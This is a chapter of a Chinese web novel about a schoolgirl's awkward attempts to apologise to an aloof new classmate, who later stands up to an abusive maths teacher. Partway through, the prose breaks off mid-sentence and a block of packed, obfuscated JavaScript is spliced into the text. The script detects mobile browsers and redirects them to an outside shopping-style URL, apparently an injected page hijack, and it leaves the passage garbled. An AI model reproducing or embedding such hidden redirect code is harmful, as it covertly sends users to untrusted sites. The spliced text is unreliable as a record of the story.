尴尬使人失眠,使人如芒刺背。
许云茵哪里还有心情玩游戏,手机扔到一边,双眼空空地捧着一本书看了很久——《教你如何高情商化解矛盾》。
翻了好几页,什么也没看进去,她把书盖在脸上,平躺着静心沉思,在装作无事发生和当面道歉之间举棋不定。
翌日清晨,许云茵按掉闹钟,睁开眼睛坐起来,决定今天当面跟盛溯道歉,这是犯错之后正确且必要的处理方式。
她洗漱完下楼,从客厅储物柜里摸出来一盒进口巧克力,打算献给盛溯赔礼。
走出自家院子大门,朝霞笼罩县城,风很清爽,空气中是草木香和豆浆油条的甜。
今天赵秀毓没起得来做早饭,许云茵去早点摊上买了俩肉包,在公交站啃完。她提前几分钟踏进教室,大眼睛偷偷一瞥,看见盛溯坐在位置上,笔杆慢悠悠地在纸上晃动。
他身旁今天没人围着了。
毕竟大家都是十六七岁的年纪,自尊心看得比什么都重,他们愿意对新同学主动,但不愿意一直热脸贴冷脸。
许云茵放好书包,拿上保温杯走向后排,借机给盛溯道歉。那几步尤为忖度,就像被数学老师叫去办公室时那样忐忑。
“云茵,你是什么星座?”教室中央的女生张珺乐手里拿着一副牌,脸上高深莫测的模样,“生日是哪天?出生时间是几点?”
“双子座,六月十二,晚上九点。”许云茵路过,不经意扫了眼张珺乐手里的牌,上面都是些奇形怪状的图案,她完全不感兴趣。
怎么大家最近都爱研究星座这么无聊的东西,荒谬绝伦的推测竟然还信以为真。
“哦吼?”张珺乐算出答案,古怪一笑,“你今天会倒霉诶,并且是两次。”
许云茵被她的表情逗笑,“我不信。”
张珺乐看了另外一张牌,神色微变,稍为认真地说:“别的牌上面显示,你十七岁的时候会有大霉运从天而降,但如果你从现在开始远离跟水有关的一切,这个大霉运也会随之消失。云茵,你一定要好好避开啊!”
听听,这说的是人话吗?
人要活着,怎么可能离得开水。
许云茵递给张珺乐一颗棒棒糖,企图堵住她的嘴,让她把心思放在学习上,别整天钻研这些不切实际离谱上天的东西。
张珺乐说:“玄学都是有依据的,就算不完全正确,也多多少少有一点关联。”
许云茵没理她,走到饮水机前接水。
几秒钟的时间,她斟酌好措辞,转身往盛溯身侧靠近。他在刷数学题,公式像模像样写了一行又一行,不知道正确与否。
“盛同学。”许云茵深吸一口气,小心地把杯盖搭在杯口,“那个,昨晚我……”
话还没说完,几个男同学你追我赶地从教室后门飞奔进来,没想到许云茵在这里,他们急刹车失败,叠罗汉似的撞到她身上。
许云茵身姿纤细,经不住这样的雷霆撞击,脚下一个趔趄,不受控制地往盛溯身上倒去。
啪塔一声,杯盖落在桌面上。
温水也肆无忌惮地淋在他头上。
教室里倏然安静了,许云茵耳边却嗡的一声出现被拉长的耳鸣。空气凝固,温度骤降,画面仿佛被定格般静止下来。
“对不起……”许云茵十分抱歉,还好及时稳住了水杯,洒出来的水不算多。
盛溯偏过脸,面无表情看着许云茵。
许云茵已经站稳,仓惶又怯懦地直视盛溯,对方眉睫湿润,眸中暗藏杀意。
这场无声的对视持续了三四秒。
“真的对不起。”许云茵再次道歉,甚至忘了她过来找盛溯,本来就是为昨晚的事情道歉,“我不是故意的,有没有烫到你?”
盛溯一言不发。
像是暴风雨前的宁静。
新账旧账……许云茵更害怕了。大佬怒了,她还能见到明天的太阳吗?
“以后离我远点。”盛溯抽了张纸擦脸上的水,没有继续追究许云茵的意思。
太好了。
许云茵松了一口气,点头如小鸡啄米,拿起桌面上的杯盖跑回座位。
唉。少女叹气。
怎么还真倒上霉了。
大课间跑完操,许云茵拉着赵今希一起去小卖部买喝的,路上跟赵今希说了昨晚的事情,赵今希表示代入到自己身上,今天还来学校的唯一原因是办理转学手续。
“他才刚转过来啊!”赵今希在冰柜前挑汽水,脚底下窜起一阵寒气,她抖了抖身子,“如果我是你,以后每一次看见他的脸,就会想起这件尴尬的事情,这还怎么相处啊?而且今天早上,你还把水泼他头上了。”
许云茵心里也一肚子委屈,越听越难受,鼻子都酸了。她双手捧着一杯热可可,声音有气无力的,“是别人撞到我了,我才撞到他的,我自己后背还疼着呢。”
赵今希象征性地抚摸许云茵后背,“你确实挺倒霉,但盛溯比你更倒霉。”
这话倒是没说错。
盛溯同学做错什么了呢,他才刚转来,不是无缘无故被班长吐槽,就是毫无防备被班长泼水,他才是最无辜的人。
许云茵欲哭无泪,“以后该怎么办,我没办法帮他融入集体了,盛同学本来就性格不好,说话难听,难以接近,我好心送给他一本书,他直接扔进垃圾桶了……”
“喂。”
身后忽然出现熟悉又瘆人的声音。
许云茵和赵今希动作一顿,神同步回头,果不其然看见了盛溯的脸。许云茵如遭雷击,两眼一黑,呆呆地怔愣在原地。
完了,这下全完了。
那该死的塔罗怎么如此料事如神。
盛溯无意偷听少女心事,只是看她俩堵着冰柜半天没走,实在不耐烦才出声打扰。面前没镜子,他无法瞧见自己眸中冷冰冰的锋芒,倒是看出面前这俩女孩都很怕他。
“让让?”
许云茵和赵今希连忙挪到一边缩着肩膀,把冰柜大门的位置让出来。
盛溯随手挑了瓶汽水,合上柜门,离开之前,他对上许云茵目光,稍纵即逝地勾了下唇,带着嘲讽意味,“那书是你放的?”
许云茵紧张地点头,“嗯。”
盛溯尾音上扬,“挑衅我?”
大佬的理解能力果然不同寻常,许云茵摇头似拨浪鼓,“绝对没有。”
距离不过寥寥,盛溯将少女脸上的无辜看了个明晰。他居高临下,脸色不好不坏,“以后有什么事儿,当面说。”
许云茵点头,“好的。”
直到盛溯离开小卖部,冰柜旁边的两个少女才放松下来,双双拍了拍自己的小心脏,显然方才被吓得不轻。
“明明是同龄人啊,”赵今希咬着牙咽口水,“我怎么感受到了一股压迫感。”
许云茵还没完全缓过来,“应该是他太高了,而且脸很臭,所以看起来有点吓人。”
想起抽屉里的那盒巧克力,她觉得还是不送为好,免得又被盛溯当垃圾扔掉。
上午一共四节课,两节英语两节数学。
数学老师是位年近四十的女性,叫柳若梅,名字温婉,脾气暴躁,教学风格是骂遍所有蠢学生,拖堂每一节课。
“许云茵,你又走什么神呢?”距离下课还剩十分钟,柳若梅站在讲台上,皱眉瞪着许云茵,“这节课听明白了吗?”
许云茵毫无预兆被点到名,坐姿乖巧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354701|199663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如小学生,下意识点头。
“行,你上来解这道题。”
众目睽睽之下,许云茵只能走上讲台,拿起粉笔,写下一个字——解。
慢吞吞解到第二个步骤,第三个步骤她有点不确定,硬着头皮瞎写,最后得出来的答案大概离正确答案十万八千里,因为她听见柳若梅那声毫不掩饰的嘲笑。
“诶我想问下你爸妈脑子好使吗?”柳若梅一手拿书,一手撑着讲台,“我就是单纯好奇啊,是单单你的脑子不好使,还是你全家的脑子都不好使,怎么能连这么简单的题都不会呢,我不是讲过好几次吗!”
最后一句,柳若梅突然爆发,嗓门大得隔壁班都能听见。许云茵吓得手臂一抖,浑身紧绷地站在黑板前,脑海里一片空白。
她无言以对,无地自容。
脸颊在自尊被碾压的时刻红透。
“我再给你讲一遍。”柳若梅严肃地盯着底下的一排排学生,“我知道还有人不会,一个个蠢猪把耳朵竖起来,都给我听好了。”
她对许云茵说:“你站到旁边听。”
许云茵放下粉笔,退至讲台一侧,教室里气氛凝重,没人敢大声呼吸。
柳若梅拿起粉笔,“设ABCD的底面积为S,高为H,体积为V……”
一分钟过去,她写下最终答案,指尖的粉笔扔在许云茵头上,“听懂了不?”
许云茵不知道该点头还是该摇头。她刚刚太害怕了,压根没有听进去什么。
放学铃打响,像是一道解放众生的钟声。
柳若梅让底下的同学们听懂的举手,必须全班每一个人都举手,才能下课吃饭,既然如此,所有人只能慢慢举起手。
“付炀春,你上来。”柳若梅当然知道,这道题不是所有人都会。
她转身在黑板上写下一道题目。
大部分学生对老师都有骨子里刻下的尊敬和畏惧,再不情愿,也只能听话。
付炀春走上讲台,拿起粉笔解题。他认真思考了公式过程,却写不出答案。
“你不是举手了吗?怎么不会做?”柳若梅轻蔑地在付炀春和许云茵身上来回扫视,然后啧了声,将手里的粉笔扔到付炀春身上,“付炀春,你点一个同学上来做,今天要是没人能做出这道题,那就都饿着吧,蠢成这样也用不着浪费粮食。”
刺啦——
凳脚在地上划出刺耳的声音,来自教室最后一排的单人桌。
众目睽睽之下,盛溯站起来往讲台上走。
他依然面无表情,眉眼间却带着锋利而有攻击性的刺,走向讲台的那几步盛气凌人,傲得像是要上去跟柳若梅干架。
不止是所有同学,就连柳若梅,也被这个少年人身上的狠劲儿震慑住。
盛溯无视旁人目光,拿起粉笔三两下写下过程和答案,随即,将粉笔扔进粉笔盒,一系列过程快得让人来不及反应。
他高出柳若梅一大截,双眸里释放出带着警告的压迫感,嗓音沉得可怕,“下课。”
柳若梅扫了眼黑板,从她惊愕的眼神中,不难得知盛溯的答案是正确的。
此时一束光照进了七班教室,柳若梅一言不发,合上书,吃瘪地离开。
那一刻,许云茵有一种直觉——盛溯的实力远在各位之上。如果面前有张镜子,她会看见自己双眼中流露着明显的崇拜。
不得不承认,盛溯身上好像带着一股强烈的吸引力,让她挪不开目光。
付炀春对盛溯竖起大拇指,“溯哥,不管你愿不愿意,我以后都是你兄弟了。”
盛溯没说话,瞥了眼许云茵,得到对方一个海绵宝宝式的乖巧微笑。
许云茵说:“大神,下凡辛苦啦。”